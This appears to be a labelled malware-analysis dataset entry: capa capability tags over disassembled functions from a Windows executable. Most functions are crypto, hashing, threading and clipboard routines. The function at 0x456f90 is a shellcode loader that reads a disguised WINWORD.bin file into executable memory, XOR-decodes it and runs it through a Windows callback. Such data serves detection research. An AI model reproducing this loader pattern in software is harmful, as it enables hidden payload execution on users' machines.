joyce8/EMBER2024-capa huggingface dataset:
Function at 0x435950
Capabilities:
Encrypt data using curve25519

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4e4840]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push edi
mov eax, dword [eax + 0x10]
mov eax, dword [eax]
call eax
push 0x1c
push 1
mov edi, eax
call fcn.0040e5e0
mov esi, eax
add esp, 8
mov dword [esi], 0
mov dword [esi + 4], edi
cmp dword [edi], 1
jne 0x4359fb
xorps xmm0, xmm0
xor edi, edi
movups xmmword [ebp - 0x24], xmm0
movups xmmword [ebp - 0x14], xmm0
call fcn.0043a770
mov byte [ebp + edi - 0x24], al
inc edi
cmp edi, 0x20
jb 0x435997
mov al, byte [ebp - 5]
and byte [ebp - 0x24], 0xf8
and al, 0x3f
or al, 0x40
mov byte [ebp - 5], al
lea eax, [ebp - 0x24]
push 0x20
push eax
call fcn.0042b320
mov dword [esi + 0x18], eax
lea eax, [ebp - 0x24]
push 0x20
push eax
call fcn.0045dac0
mov eax, dword [esi + 0x18]
add esp, 0x10
test eax, eax
jne 0x4359f2
push esi
call fcn.0040e5c0
add esp, 4
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004668ab
mov esp, ebp
pop ebp
ret
push eax
mov eax, dword [esi + 4]
add eax, 0x1c
jmp 0x435a1a
push dword [edi + 0x1c]
push dword [0x4e4718]
call fcn.0042b5a0
add esp, 8
mov dword [esi + 0x18], eax
test eax, eax
je 0x4359d7
push eax
mov eax, dword [esi + 4]
add eax, 0x20
push eax
call fcn.00435050
mov ecx, eax
add esp, 8
test ecx, ecx
jne 0x435a4c
push dword [esi + 0x18]
call fcn.0042b910
push esi
call fcn.0040e5c0
add esp, 8
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004668ab
mov esp, ebp
pop ebp
ret
mov eax, dword [ecx + 4]
mov dword [esi + 8], eax
mov eax, dword [ecx + 8]
push ecx
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], 0
call fcn.0040e5c0
mov ecx, dword [ebp - 4]
add esp, 4
mov eax, esi
xor ecx, ebp
pop edi
pop esi
call fcn.004668ab
mov esp, ebp
pop ebp
ret

Function at 0x435e50
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
add dword [ebp + 8], 0xb8
pop ebp
jmp fcn.00436150

Function at 0x436d80
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
pop ebp
ret
Function at 0x436e70
Capabilities:
Authenticate hmac

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x4e4840]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x44]
push esi
push edi
push 0x40
push 0x36
push eax
mov dword [ebp - 0x48], ebx
call fcn.00468170
mov esi, dword [ebp + 0x10]
add esp, 0xc
mov edi, dword [ebp + 0xc]
xor edx, edx
test esi, esi
jle 0x436ec7
mov ebx, edi
lea eax, [ebp - 0x44]
sub ebx, eax
nop dword [eax]
cmp edx, 0x40
jge 0x436ec4
lea ecx, [ebp - 0x44]
add ecx, edx
inc edx
mov al, byte [ebx + ecx]
xor byte [ecx], al
cmp edx, esi
jl 0x436eb0
mov ebx, dword [ebp - 0x48]
push ebx
call fcn.004360c0
push 0x40
lea eax, [ebp - 0x44]
push eax
push ebx
call fcn.00436150
push 0x40
lea eax, [ebp - 0x44]
push 0x5c
push eax
call fcn.00468170
add esp, 0x1c
xor edx, edx
test esi, esi
jle 0x436f08
lea eax, [ebp - 0x44]
sub edi, eax
cmp edx, 0x40
jge 0x436f08
lea ecx, [ebp - 0x44]
add ecx, edx
inc edx
mov al, byte [edi + ecx]
xor byte [ecx], al
cmp edx, esi
jl 0x436ef4
lea esi, [ebx + 0x5c]
push esi
call fcn.004360c0
push 0x40
lea eax, [ebp - 0x44]
push eax
push esi
call fcn.00436150
lea eax, [ebp - 0x44]
push 0x40
push eax
call fcn.0045dac0
mov ecx, dword [ebp - 4]
add esp, 0x18
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.004668ab
mov esp, ebp
pop ebp
ret
Function at 0x43a850
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x78
mov eax, dword [0x4e4840]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x4e5a6c], 0
push esi
push edi
jne 0x43a9b7
push fcn.0043a5e0
mov dword [0x4e5a6c], 1
call fcn.00460470
push 0x4e5a28
push 0x4e5a14
call fcn.0043f790
movups xmm0, xmmword [0x4e5a14]
mov eax, dword [0x4e5a24]
add esp, 0xc
mov dword [0x4e5a68], 0
movups xmmword [ebp - 0x30], xmm0
mov edx, dword [ebp - 0x28]
mov edi, dword [ebp - 0x2c]
mov dword [ebp - 0x74], 2
nop
movups xmm0, xmmword [0x4e5560]
mov esi, 0x49c
movups xmmword [ebp - 0x70], xmm0
movups xmm0, xmmword [0x4e5570]
movups xmmword [ebp - 0x60], xmm0
movups xmm0, xmmword [0x4e5580]
movups xmmword [ebp - 0x50], xmm0
movups xmm0, xmmword [0x4e5590]
movups xmmword [ebp - 0x40], xmm0
xor eax, dword [esi + 0x4e5570]
mov ecx, dword [ebp - 0x30]
xor ecx, dword [esi + 0x4e5560]
xor edi, dword [esi + 0x4e5564]
xor edx, dword [esi + 0x4e5568]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x70]
mov dword [ebp - 0x30], ecx
mov ecx, dword [ebp - 0x24]
xor ecx, dword [esi + 0x4e556c]
push eax
lea eax, [ebp - 0x30]
mov dword [ebp - 0x2c], edi
push eax
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x24], ecx
call fcn.0043f790
mov eax, dword [ebp - 0x30]
add esp, 8
mov edi, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [esi + 0x4e5560], eax
mov eax, dword [ebp - 0x20]
mov dword [esi + 0x4e5564], edi
mov dword [esi + 0x4e5568], edx
mov dword [esi + 0x4e556c], ecx
mov dword [esi + 0x4e5570], eax
sub esi, 0x14
jns 0x43a901
sub dword [ebp - 0x74], 1
jne 0x43a8d0
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x30]
push eax
call fcn.0043f790
movups xmm0, xmmword [ebp - 0x30]
mov eax, dword [ebp - 0x20]
add esp, 8
mov dword [0x4e5a24], eax
movups xmmword [0x4e5a14], xmm0
mov dword [0x4e5a10], 0x14
mov dword [0x4e5a6c], 0
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004668ab
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x43b920
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov eax, dword [0x4e4840]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
xor ecx, ecx
mov edx, dword [ebp + 8]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x4c], ecx
push ebx
mov ebx, dword [ebp + 0x14]
mov dword [ebp - 0x54], ebx
test eax, eax
jle 0x43baeb
push esi
push edi
mov edi, dword [edx + 0x14]
cmp eax, edi
mov byte [ebp - 0x45], cl
cmovle edi, eax
mov eax, ecx
shr eax, 0x18
mov byte [ebp - 0x48], al
mov eax, ecx
shr eax, 0x10
mov byte [ebp - 0x47], al
mov eax, ecx
shr eax, 8
mov byte [ebp - 0x46], al
mov eax, dword [edx]
mov dword [ebp - 0x60], edi
call eax
push dword [ebp + 0x10]
mov ecx, dword [ebp - 0x50]
mov esi, eax
push dword [ebp - 0x58]
push esi
mov ecx, dword [ecx + 8]
call ecx
push 4
lea eax, [ebp - 0x48]
push eax
mov eax, dword [ebp - 0x50]
push esi
mov eax, dword [eax + 8]
call eax
lea eax, [ebp - 0x44]
push eax
mov eax, dword [ebp - 0x50]
push esi
mov eax, dword [eax + 0xc]
call eax
mov ecx, dword [ebp - 0x4c]
add esp, 0x20
inc ecx
xor eax, eax
mov dword [ebp - 0x4c], ecx
test edi, edi
jle 0x43bad1
cmp edi, 8
jb 0x43bab0
lea edx, [ebx - 1]
lea ecx, [ebp + edi - 0x45]
add edx, edi
cmp ebx, ecx
ja 0x43b9e1
lea ecx, [ebp - 0x44]
cmp edx, ecx
jae 0x43bab0
cmp edi, 0x40
jb 0x43ba6c
mov ecx, edi
and ecx, 0x8000003f
jns 0x43b9f9
dec ecx
or ecx, 0xffffffc0
inc ecx
mov edx, edi
lea esi, [ebp - 0x44]
sub edx, ecx
lea edi, [ebp - 0x34]
sub esi, ebx
lea ecx, [ebx + 0x20]
sub edi, ebx
mov dword [ebp - 0x5c], edi
mov ebx, edi
nop
movups xmm0, xmmword [ecx - 0x20]
lea edi, [ebp - 0x44]
movups xmm1, xmmword [edi + eax]
mov edi, dword [ebp - 0x60]
lea ecx, [ecx + 0x40]
xorps xmm1, xmm0
movups xmmword [ecx - 0x60], xmm1
movups xmm0, xmmword [ecx - 0x50]
movups xmm1, xmmword [ebp + eax - 0x34]
add eax, 0x40
xorps xmm1, xmm0
movups xmmword [ecx - 0x50], xmm1
movups xmm0, xmmword [ecx - 0x40]
movups xmm1, xmmword [esi + ecx - 0x40]
xorps xmm1, xmm0
movups xmmword [ecx - 0x40], xmm1
movups xmm1, xmmword [ebx + ecx - 0x40]
movups xmm0, xmmword [ecx - 0x30]
xorps xmm1, xmm0
movups xmmword [ecx - 0x30], xmm1
cmp eax, edx
jl 0x43ba10
mov ebx, dword [ebp - 0x54]
mov ecx, edi
and cl, 0x3f
cmp cl, 8
jb 0x43baac
mov ecx, edi
and ecx, 0x80000007
jns 0x43ba7b
dec ecx
or ecx, 0xfffffff8
inc ecx
mov edx, edi
lea esi, [ebp - 0x44]
sub edx, ecx
lea ecx, [eax + ebx]
sub esi, ebx
nop word [eax + eax]
movq xmm1, qword [ecx + esi]
lea ecx, [ecx + 8]
movq xmm0, qword [ecx - 8]
add eax, 8
xorps xmm1, xmm0
movq qword [ecx - 8], xmm1
cmp eax, edx
jl 0x43ba90
cmp eax, edi
jge 0x43bace
lea esi, [ebp - 0x44]
lea edx, [eax + ebx]
sub esi, ebx
nop dword [eax + eax]
mov cl, byte [edx + esi]
lea edx, [edx + 1]
xor byte [edx - 1], cl
inc eax
cmp eax, edi
jl 0x43bac0
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp + 0x18]
add ebx, edi
mov edx, dword [ebp - 0x50]
sub eax, edi
mov dword [ebp - 0x54], ebx
mov dword [ebp + 0x18], eax
test eax, eax
jg 0x43b955
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.004668ab
mov esp, ebp
pop ebp
ret
Function at 0x43ce50
Capabilities:
Hash data using sha256

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax], 0x6a09e667
mov dword [eax + 4], 0xbb67ae85
mov dword [eax + 8], 0x3c6ef372
mov dword [eax + 0xc], 0xa54ff53a
mov dword [eax + 0x10], 0x510e527f
mov dword [eax + 0x14], 0x9b05688c
mov dword [eax + 0x18], 0x1f83d9ab
mov dword [eax + 0x1c], 0x5be0cd19
pop ebp
ret

Function at 0x43d120
Capabilities:
Authenticate hmac

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x4e4840]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x44]
push esi
push edi
push 0x40
push 0x36
push eax
mov dword [ebp - 0x48], ebx
call fcn.00468170
mov esi, dword [ebp + 0x10]
add esp, 0xc
mov edi, dword [ebp + 0xc]
xor edx, edx
test esi, esi
jle 0x43d177
mov ebx, edi
lea eax, [ebp - 0x44]
sub ebx, eax
nop dword [eax]
cmp edx, 0x40
jge 0x43d174
lea ecx, [ebp - 0x44]
add ecx, edx
inc edx
mov al, byte [ebx + ecx]
xor byte [ecx], al
cmp edx, esi
jl 0x43d160
mov ebx, dword [ebp - 0x48]
push ebx
call fcn.0043d030
push 0x40
lea eax, [ebp - 0x44]
push eax
push ebx
call fcn.0043cd50
push 0x40
lea eax, [ebp - 0x44]
push 0x5c
push eax
call fcn.00468170
add esp, 0x1c
xor edx, edx
test esi, esi
jle 0x43d1b8
lea eax, [ebp - 0x44]
sub edi, eax
cmp edx, 0x40
jge 0x43d1b8
lea ecx, [ebp - 0x44]
add ecx, edx
inc edx
mov al, byte [edi + ecx]
xor byte [ecx], al
cmp edx, esi
jl 0x43d1a4
lea esi, [ebx + 0x6c]
push esi
call fcn.0043d030
push 0x40
lea eax, [ebp - 0x44]
push eax
push esi
call fcn.0043cd50
lea eax, [ebp - 0x44]
push 0x40
push eax
call fcn.0045dac0
mov ecx, dword [ebp - 4]
add esp, 0x18
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.004668ab
mov esp, ebp
pop ebp
ret
Function at 0x43faf0
Capabilities:
Hash data using sha1

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
pop ebp
ret

Function at 0x43fde0
Capabilities:
Authenticate hmac

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x4e4840]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x44]
push esi
push edi
push 0x40
push 0x36
push eax
mov dword [ebp - 0x48], ebx
call fcn.00468170
mov esi, dword [ebp + 0x10]
add esp, 0xc
mov edi, dword [ebp + 0xc]
xor edx, edx
test esi, esi
jle 0x43fe37
mov ebx, edi
lea eax, [ebp - 0x44]
sub ebx, eax
nop dword [eax]
cmp edx, 0x40
jge 0x43fe34
lea ecx, [ebp - 0x44]
add ecx, edx
inc edx
mov al, byte [ebx + ecx]
xor byte [ecx], al
cmp edx, esi
jl 0x43fe20
mov ebx, dword [ebp - 0x48]
push ebx
call fcn.0043fc70
push 0x40
lea eax, [ebp - 0x44]
push eax
push ebx
call fcn.0043f9f0
push 0x40
lea eax, [ebp - 0x44]
push 0x5c
push eax
call fcn.00468170
add esp, 0x1c
xor edx, edx
test esi, esi
jle 0x43fe78
lea eax, [ebp - 0x44]
sub edi, eax
cmp edx, 0x40
jge 0x43fe78
lea ecx, [ebp - 0x44]
add ecx, edx
inc edx
mov al, byte [edi + ecx]
xor byte [ecx], al
cmp edx, esi
jl 0x43fe64
lea esi, [ebx + 0x60]
push esi
call fcn.0043fc70
push 0x40
lea eax, [ebp - 0x44]
push eax
push esi
call fcn.0043f9f0
lea eax, [ebp - 0x44]
push 0x40
push eax
call fcn.0045dac0
mov ecx, dword [ebp - 4]
add esp, 0x18
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.004668ab
mov esp, ebp
pop ebp
ret
Function at 0x456f90
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via windows callback function
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
call fcn.00452f80
call fcn.0045d4e0
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
push str.C:UsersPublicWINWORD.bin
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x40
push 0x1000
mov edi, eax
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
mov ebx, eax
lea eax, [ebp - 4]
push eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
mov byte [ebx], 0xb8
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
lea ecx, [edi - 1]
cmp edi, eax
jbe 0x457079
cmp ecx, 0x40
jb 0x457070
movaps xmm2, xmmword [0x4d49c0]
and ecx, 0x3f
movaps xmm3, xmmword [str.3333333333333333]
mov edx, edi
sub edx, ecx
lea ecx, [ebx + 0x21]
nop
movups xmm0, xmmword [ecx - 0x20]
lea ecx, [ecx + 0x40]
add eax, 0x40
movaps xmm1, xmm2
xorps xmm1, xmm0
xorps xmm1, xmm3
movups xmmword [ecx - 0x60], xmm1
movaps xmm1, xmm2
movups xmm0, xmmword [ecx - 0x50]
xorps xmm0, xmm2
xorps xmm0, xmm3
movups xmmword [ecx - 0x50], xmm0
movups xmm0, xmmword [ecx - 0x40]
xorps xmm1, xmm0
xorps xmm1, xmm3
movups xmmword [ecx - 0x40], xmm1
movaps xmm1, xmm2
movups xmm0, xmmword [ecx - 0x30]
xorps xmm1, xmm0
xorps xmm1, xmm3
movups xmmword [ecx - 0x30], xmm1
cmp eax, edx
jb 0x457020
cmp eax, edi
jae 0x457079
nop
xor byte [eax + ebx], 0xbb
inc eax
cmp eax, edi
jb 0x457070
push 0x15
push 0xffffffffffffffff
push 0x400
push ebx
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x457380
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
call fcn.00457620
push dword [0x4e6e04]
call fcn.0040e5c0
mov eax, dword [0x4e6e00]
add esp, 4
test eax, eax
je 0x4573a6
push eax
call dword [sym.imp.GDI32.dll_DeleteObject]
call fcn.0045e7c0
push 2
push dword [0x4e957c]
call fcn.004030e0
add esp, 8
cmp eax, 3
jne 0x4573c5
call fcn.00460630
call fcn.0045c870
call dword [sym.imp.ole32.dll_CoUninitialize]
push dword [ebp + 8]
call fcn.00499142
int3

Function at 0x457520
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov eax, dword [0x4e4840]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
call fcn.0040dfa0
push dword [0x4be514]
mov esi, eax
lea eax, [ebp - 0x68]
push str._.70s_Command_Line_Error
push eax
call fcn.00408a10
add esp, 0x14
lea eax, [ebp - 0x68]
push 0x10
push eax
push esi
push dword [0x4e95b8]
call dword [sym.imp.USER32.dll_MessageBoxA]
push esi
call fcn.0040e5c0
add esp, 4
push 1
call fcn.00499142
int3
Function at 0x457660
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbc
mov eax, dword [0x4e4840]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push esi
cmp eax, 1
jne 0x4576a9
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x4e7180]
js 0x457695
cmp eax, 0x32
jl 0x457791
push 0
call dword [sym.imp.USER32.dll_MessageBeep]
call esi
mov dword [0x4e7180], eax
jmp 0x457779
cmp eax, 3
jne 0x457738
push 0x6c
push dword [0x4e957c]
call fcn.00403080
mov ecx, dword [0x4e7174]
add esp, 8
mov esi, eax
test ecx, ecx
je 0x4576e1
push 0x20001
push 0
push dword [esi]
call ecx
test eax, eax
jne 0x457779
push dword [esi]
lea eax, [ebp - 0x58]
push str.Unable_to_play_sound_file_n_s_nUsing_default_sound_instead
push eax
call fcn.00408a10
push dword [0x4be514]
lea eax, [ebp - 0xbc]
push str._.70s_Sound_Error
push eax
call fcn.00408a10
add esp, 0x18
lea eax, [ebp - 0xbc]
push 0x30
push eax
lea eax, [ebp - 0x58]
push eax
push dword [0x4e95b8]
call dword [sym.imp.USER32.dll_MessageBoxA]
push 1
push 0x66
push dword [0x4e957c]
call fcn.00403580
add esp, 0xc
jmp 0x457779
cmp eax, 4
jne 0x457779
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x4e7184]
js 0x457752
cmp eax, 0x32
jl 0x457791
cmp dword [0x4e94f0], 2
jne 0x45776a
push 0x64
push 0x320
call dword [sym.imp.KERNEL32.dll_Beep]
jmp 0x457772
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBeep]
call esi
mov dword [0x4e7184], eax
mov eax, dword [0x4e95ac]
cmp dword [eax + 0x134], 0
jne 0x457791
push 2
call fcn.004587e0
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004668ab
mov esp, ebp
pop ebp
ret

Function at 0x4596b0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0
push dword [0x4e95b8]
push 0x4573e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esp, ebp
pop ebp
ret

Function at 0x45a480
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0x10]
push esi
lea eax, [ebx + 1]
push eax
push 0x2002
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x45a527
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov edi, eax
test edi, edi
je 0x45a526
push ebx
push dword [ebp + 0xc]
push edi
call fcn.00467bf0
add esp, 0xc
mov byte [edi + ebx], 0
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov ebx, dword [ebp + 0x14]
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
test ebx, ebx
jne 0x45a4e5
push 0
push 1
push 0x8002
push dword [0x4e95b8]
call edi
push dword [0x4e95b8]
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x45a50c
call dword [sym.imp.USER32.dll_EmptyClipboard]
push esi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x45a513
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
test ebx, ebx
jne 0x45a526
push ebx
push ebx
push 0x8002
push dword [0x4e95b8]
call edi
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x45bf40
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
push 0x1034
push 1
call fcn.0040e5e0
mov ecx, dword [ebp + 8]
add esp, 8
mov edi, eax
lea ebx, [edi + 4]
mov dword [ebx], ecx
push 0
push 0
push 0
push 0
mov dword [edi], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
push 0
push 0
mov dword [edi + 8], eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [edi + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [edi + 0x1030], eax
mov eax, dword [ebp + 0x10]
mov dword [edi + 0x20], eax
mov eax, dword [ebp + 0x14]
mov dword [edi + 0x24], eax
mov eax, dword [0x4e71b0]
mov dword [edi + 0x18], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
test eax, eax
jne 0x45bfcc
push 0x45bc90
call fcn.004505d0
add esp, 4
mov dword [0x4e71b0], eax
push edi
push eax
call fcn.0044f760
add esp, 8
lea eax, [ebp - 4]
push eax
push 0
push ebx
push 0x45c000
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [edi + 0x1c], 1
mov eax, edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x45c1b0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
push 0x1034
push 1
call fcn.0040e5e0
mov ecx, dword [ebp + 8]
add esp, 8
mov edi, eax
lea ebx, [edi + 4]
mov dword [ebx], ecx
push 0
push 0
push 0
push 0
mov dword [edi], 1
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
push 0
push 0
mov dword [edi + 8], eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [edi + 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [edi + 0x20], eax
lea eax, [edi + 0x38]
push eax
mov dword [edi + 0x1c], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
call fcn.0040dc10
mov eax, dword [ebp + 0xc]
add esp, 4
mov dword [edi + 0x48], eax
mov eax, dword [ebp + 0x14]
mov dword [edi + 0x24], eax
mov eax, dword [0x4e71b0]
mov dword [edi + 0x44], 0
test eax, eax
jne 0x45c253
push 0x45bc90
call fcn.004505d0
add esp, 4
mov dword [0x4e71b0], eax
push edi
push eax
call fcn.0044f760
add esp, 8
lea eax, [ebp - 4]
push eax
push 0
push ebx
push 0x45c280
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x45d8d0
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x4e79dc], 0
push esi
push edi
jne 0x45d92c
push str.secur32.dll
call fcn.0045da20
push str.sspicli.dll
mov esi, eax
call fcn.0045da20
add esp, 8
test esi, esi
je 0x45d919
push str.GetUserNameExA
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4e79d8], eax
mov dword [0x4e79dc], 1
jmp 0x45d931
xor eax, eax
mov dword [0x4e79dc], 1
mov dword [0x4e79d8], eax
jmp 0x45d931
mov eax, dword [0x4e79d8]
test eax, eax
je 0x45d991
lea ecx, [ebp - 4]
mov dword [ebp - 4], 0
push ecx
push 0
push 8
call eax
push 1
push dword [ebp - 4]
call fcn.0040e5e0
add esp, 8
mov esi, eax
lea eax, [ebp - 4]
push eax
push esi
push 8
call dword [0x4e79d8]
movzx edi, al
test al, al
je 0x45d988
push 0x40
push esi
call fcn.00467ac0
add esp, 8
test eax, eax
je 0x45d9da
mov byte [eax], 0
xor eax, eax
test edi, edi
pop edi
cmovne eax, esi
pop esi
mov esp, ebp
pop ebp
ret
push esi
call fcn.0040e5c0
add esp, 4
mov edi, dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [ebp - 4]
push eax
push 0
mov dword [ebp - 4], 0
call edi
test eax, eax
jne 0x45d9b4
mov eax, 0x100
mov dword [ebp - 4], eax
jmp 0x45d9b7
mov eax, dword [ebp - 4]
push 1
push eax
call fcn.0040e5e0
add esp, 8
mov esi, eax
lea eax, [ebp - 4]
push eax
push esi
call edi
mov edi, eax
test edi, edi
jne 0x45d9da
push esi
call fcn.0040e5c0
add esp, 4
xor eax, eax
test edi, edi
pop edi
cmovne eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x45da20
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [0x4e79e8]
push esi
push edi
test ecx, ecx
jne 0x45da66
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor esi, esi
lea eax, [esi + esi*2]
cdq
sub eax, edx
mov esi, eax
sar esi, 1
push 1
add esi, 0x200
push esi
push ecx
call fcn.0040e680
add esp, 0xc
mov dword [0x4e79e8], eax
push esi
push eax
call edi
mov ecx, dword [0x4e79e8]
cmp eax, esi
jge 0x45da37
push 0
push dword [ebp + 8]
push 0x4d526c
push ecx
call fcn.0040de70
add esp, 0x10
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
mov edi, eax
call fcn.0040e5c0
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
ret